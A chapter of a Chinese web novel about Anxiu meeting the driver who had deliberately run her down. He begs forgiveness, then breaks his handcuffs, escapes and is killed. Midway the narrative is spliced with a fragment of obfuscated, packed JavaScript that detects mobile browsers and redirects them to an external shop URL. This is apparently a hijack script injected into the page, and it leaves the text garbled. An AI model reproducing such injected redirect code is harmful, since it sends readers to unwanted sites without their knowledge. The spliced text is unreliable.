安随听了这才松了一口气:“那就谢谢杜医生了。” “谢什么?这是我的职责。”杜泽明摆了摆手,想起什么,他又说道,“你知道吗?去年的那次车祸的肇事者终于找到了,经过半年,那人终于落网。” 杜泽明不说这事,安随都快忘了。实在是最近的事情太多了,她确实没有多少心思放在那个人的身上,而且当时警方给的说法是那个车牌是□□,面包车也是报废的二手车,他们在城郊找到了被烧得只剩一副空架子的车,如果不是那块车牌还没烧化,恐怕还不容易辨认出来。 也难为警方还能找到肇事者。 “对方是谁?”安随问道。 说到这里,杜泽明顿了顿,似乎在思考怎么形容,过了会儿,他才道:“我曾经在监控里看到过那人长相,很丑,当然不是我看重外表,确实那人长得不像正常人的长相,脸上坑坑洼洼的,还往下流着脓,他的眼神很凶,看着就不是善类。” 安随在脑海里想象他的长相,不知不觉,便想到了妖怪。 她自认为没有和谁结过仇,而那天的那场车祸,却像是有预谋一般,直直地朝他们冲了过来。加上警方所诉,肇事司机用的□□,在撞人逃逸后,销毁了车辆,随后便消失了,就像是有预谋一般,只为了撞死她。 只是,他为什么又突然出现了呢? 安随觉得,脑子里似乎有什么东西一闪而过,却闪得太快了,根本没抓住。 “警方还在处理这事,可能过几天就要和你联系了。” 安随点头表示知道,两人又说了几句后,安随这才离开了办公室。 此时正好是饭点,安随去食堂打了饭,回病房里吃。回来以后,点滴还在慢慢地滴着,没有下去多少,赵素兰睡得很沉,没有被外界的光线和声音影响到一点。 吃完饭后,赵素兰还在熟睡着,安随坐在床边守着,她不知道赵素兰要睡多久,因此不敢先点吃的,怕凉了,于是就这么坐在床边守着赵素兰。 八点的时候,安随点开了直播,却收到了墨夜的信息。 墨夜:“白泽恢复得如何?” 她和墨夜的唯一交集也就是白泽了,最近白泽一直没出现,但听墨夜的意思,两人并没在一起,否则就不会问她白泽的情况了。 安随决定将计就计,看能不能从他嘴里套出点什么。 “还行。” “那他什么时候来峰城?” “他没和我说,等的我问问他。” “看来那丹确实有效果。” 什么丹? 安随不解,但她没有多问,而是继续说道:“效果还不错。” 这么一看,安随说的全是废话,可对方却并没有发现,而是继续道:“既然他好了,那我就放心了,谢谢你,让我找到了他。” “不客气,能帮到你就行。” 两人说的没在一个频道上,却总是能答在一个点上。 安随现在可以确定,白泽并没有在墨夜那,所以,他到底去哪了呢? 明明已经是朋友了,可却一声不吭地离开了…… 这一晚上,直播间的网友发现,平日里话本就不多的白泽更沉默了,全程没有开口,只是一味地挂着直播间,屏幕对着天花板,白茫茫的,连评论区也没有看一眼。 这是受什么刺激了? 明明昨晚还好好的,偶尔还会回答网友的问题。 九点的时候,赵素兰终于睡醒了,安随给她点了碗稀饭让她慢慢地喝着,虽然打着营养液不会觉得饿,可当食物真正吃到嘴里,赵素兰才觉得自己活过来了。 这一晚,液体一直输到凌晨一点才输完,安随累了一天,也很快沉沉睡去。 赵素兰在医院输了几天液,中间杜泽明每天都来查房问她的情况,赵素兰感觉自己的腿隐隐感觉到痛了,但还是使不上力,杜泽明则表示是正常情况,这个状况得持续一段时间才能好起来,让她别担心。 赵素兰住了一个周的院才被准许出院,她又重新坐回了轮椅上,但这次的心境却和以往全然不同了。以后,她将会开启崭新的人生。 出了医院后,安随接到了派出所的电话,让她去派出所一趟。安随便推着赵素兰去了派出所,到那的时候,一名民警拿出一张照片问她认不认识这个人,安随看了一眼,是个陌生的面孔,但从长相来看,和杜泽明描述的肇事司机长得一个样。 安随问道:“这是那个肇事司机吗?” “你认出来了?确定是他吗?”民警追问道。 安随不确定,因为她并没有见过那名司机,出车祸时,她的身体是被白泽控制着的,她根本对那一切一无所知。 “我听杜医生提起过。”安随老老实实道。 那名民警一听,便又说道:“我们看过那一段路的监控,司机确实和这个人长得很像,但我们还是想和你确认一下,免得抓错了人。” “抱歉,我没看清他的长相。”安随实话实说。 “没关系,他是自首的,我们只是想得到更多信息,避免有人冒名顶罪。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002000|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你说他自首?”安随有些惊了,这人逃了半年都没被抓到,显然藏匿本事一流,怎么会突然自首呢?这不符合常理。 “是的。”民警顿了顿,随后看了她一眼,“只是他有个请求,那就是想见你一面。” “见我?”安随更摸不着头脑了,她并不觉得那人是良心发现想要赎罪,毕竟他所做的一切都代表他是预谋已久,且心思缜密,这样的人怎么会觉得自己有罪呢? 安随跟着民警去了看守所,肇事司机暂时被关在那里,等着法律的裁决。安随透过玻璃窗,终于看清了那人的长相,和杜泽明描述得一模一样,只是亲眼所见,才真正觉得他面目有多可憎。 民警以为她被吓到了,连忙道:“别怕,他被关在里面,出不来的。” 安随了然地点点头,随后在民警的示意下坐在窗口前,拿起了电话。 安随还没开口说话,对方便迫不及待地说道:“对不起,我错了,我不该开车撞你,我该死,我是罪人,请你原谅我好不好?” 安随拿着电话,被对方一连串的道歉弄得一时不知道说什么。 他该道歉的是白泽才对,白泽才是受害者。只是如今白泽不知道去了哪里,只有她替他收下了。 “你的道歉我听到了,但我不会原谅你,你就在这里呆着吧。” 还以为他会说点其他的,结果让她失望了,他看起来并不像妖怪,她没有感觉到一点气息。 “请你原谅我!我真的知道错了!我不想死啊!”男人情绪突然变得激动,他那张恐怖的脸不停地蠕动着,张着血盆大口,似乎想要把她生吞了,可说出来的话却与他的表情反差巨大,安随不知道他是哪根筋搭错了,总觉得这幕诡异得很。 安随起身,和民警说了一声后,便准备离开了。 男人还在嘶喊着,震耳欲聋的声音透过玻璃窗传到了安随的耳朵里,她甚至听出了声音里的惊恐和害怕,这让安随更不解了,她有那么让他感到害怕吗?她还没做什么呢。 只是那声音越来越小,男人被带了进去,而安随离开了这间屋子,将那些绝望的声音隔绝在了屋子里。 一旁的民警也有些摸不着头脑:“他看起来很怕你。” 安随抬头冲着民警笑了笑:“我看起来有那么吓人吗?” “怎么会?”民警摇摇头。眼前的女孩长得很好看,五官非常柔和,看着就很好相处。 两人回到派出所,赵素兰在那里等着,见安随出来,才松了口气:“小随,你回来了啊,那我们现在就回去吧。” “好。” 临走时,民警又和安随交待了下,接下来还要和她联系,让她注意接听电话,安随欣然应允。 只是她这一回去,却再也没有接到派出所的电话。 因为就在那天晚上,那个男人突然挣开了束缚,从看守所里逃了出去,守着的民警被他打伤,昏迷不行,派出所请求上级支援,而那人逃到了大马路上,却被一辆疾驰而来的货车撞了个粉碎,当场死亡。 等警方赶到时,只看到一滩肉泥。 回去检查关押男人的房间,他们才发现那人把手上的手铐硬生生扳断了。 如此力量,让人细思极恐。 当真有人类会有这么大的力量吗?一时便有人和特殊事件联系在一起,但谁也没敢说。 他们似乎正潜移默化地接受着这个世界的变化。 而安随对这一切一无所知。 安随和赵素兰买了回宁市的票,等回到家已经是晚上了,折腾了那么多天,两人都累得不行,好在今天是周末,安随不用直播,于是这晚她便早早睡下。 第二天,她接到了李凤宁的电话。